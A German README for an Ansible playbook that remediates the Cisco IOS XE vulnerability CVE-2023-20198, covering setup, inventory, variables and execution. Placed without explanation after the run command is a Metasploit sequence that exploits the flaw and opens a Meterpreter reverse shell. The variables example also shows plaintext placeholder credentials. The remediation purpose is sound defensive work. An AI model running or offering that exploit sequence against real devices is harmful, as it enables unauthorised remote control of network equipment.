
Überprüfen und beheben Sie Bedingungen, die ein IOS-XE-Gerät anfällig für CVE-2023-20198 machen.
Dieses Repository enthält ein Ansible-Playbook zur Behebung der Schwachstelle CVE-2023-20198, die in bestimmten Cisco-Geräten gefunden wurde.
Es führt Folgendes aus:
CVE-2023-20198-Fix/
│
├── ansible.cfg # Ansible configuration file
├── group_vars/ # Directory for variables specific to groups of hosts
│ └── iosxe_devices.yml # Variable definitions for IOS-XE devices
├── inventory.yml # Inventory of hosts, including devices to target
└── remediate.yml # Playbook for remediating CVE-2023-20198
Stellen Sie sicher, dass Ansible auf Ihrem Steuerungsrechner installiert ist. Dieses Playbook wurde für Ansible 2.9 oder neuer geschrieben.
Konfigurieren Sie Ansible:
Bearbeiten Sie die ansible.cfg, um sie an Ihre Umgebungseinstellungen anzupassen.
Aktualisieren Sie inventory.yml mit den Host-Details Ihrer IOS-XE-Geräte.
Definieren Sie alle notwendigen Variablen in group_vars/iosxe_devices.yml. Dies sollte alle gemeinsamen Einstellungen für Ihre IOS-XE-Geräte enthalten, wie z. B. Verbindungseinstellungen und Anmeldeinformationen.
Um ein neues IOS-XE-Gerät zum Inventar hinzuzufügen, bearbeiten Sie die Datei inventory.yml und fügen Sie den neuen Host unter der entsprechenden Gruppe hinzu:
iosxe_devices:
hosts:
vulnerable_router01:
ansible_host: 192.168.1.3
# ... other necessary variables
Ersetzen Sie new_router01 durch den Hostnamen Ihres Geräts und die ansible_*-Variablen durch die tatsächlichen Werte für Ihr Gerät.
Wenn Sie Anmeldeinformationen oder andere Einstellungen für die Gruppe der IOS-XE-Geräte aktualisieren müssen, bearbeiten Sie die Datei group_vars/iosxe_devices.yml:
---
ansible_network_os: ios
ansible_connection: network_cli
ansible_user: admin
ansible_password: admin_password # Lab use only, store credentials responsibly!
ansible_become_method: enable
ansible_become_password: admin_password # Lab use only, store credentials responsibly!
# ... other variables
Um das Playbook auszuführen, verwenden Sie den folgenden Befehl:
ansible-playbook remediate.yml -i inventory.yml
use exploit/linux/misc/cisco_ios_xe_rce
set RHOST 192.168.10.242 # Your target IP
set target 1
set payload cmd/unix/python/meterpreter/reverse_tcp
check
exploit



Testen Sie Ihre Änderungen immer in einer kontrollierten Umgebung, bevor Sie das Playbook in der Produktion ausführen.
Speichern Sie sensible Daten wie Passwörter und geheime Schlüssel mit Ansible Vault. Speichern Sie keine Klartext-Anmeldeinformationen in Ihren Inventar- oder group_vars-Dateien.
Für zusätzliche Sicherheitsmaßnahmen und Best Practices konsultieren Sie die offizielle Ansible-Dokumentation.
Bitte ersetzen Sie alle Platzhalterwerte durch tatsächliche Daten, die Ihrer Umgebung entsprechen. Diese README setzt grundlegende Vertrautheit mit Ansible-Konzepten wie Inventar, Variablen und Ausführen von Playbooks voraus.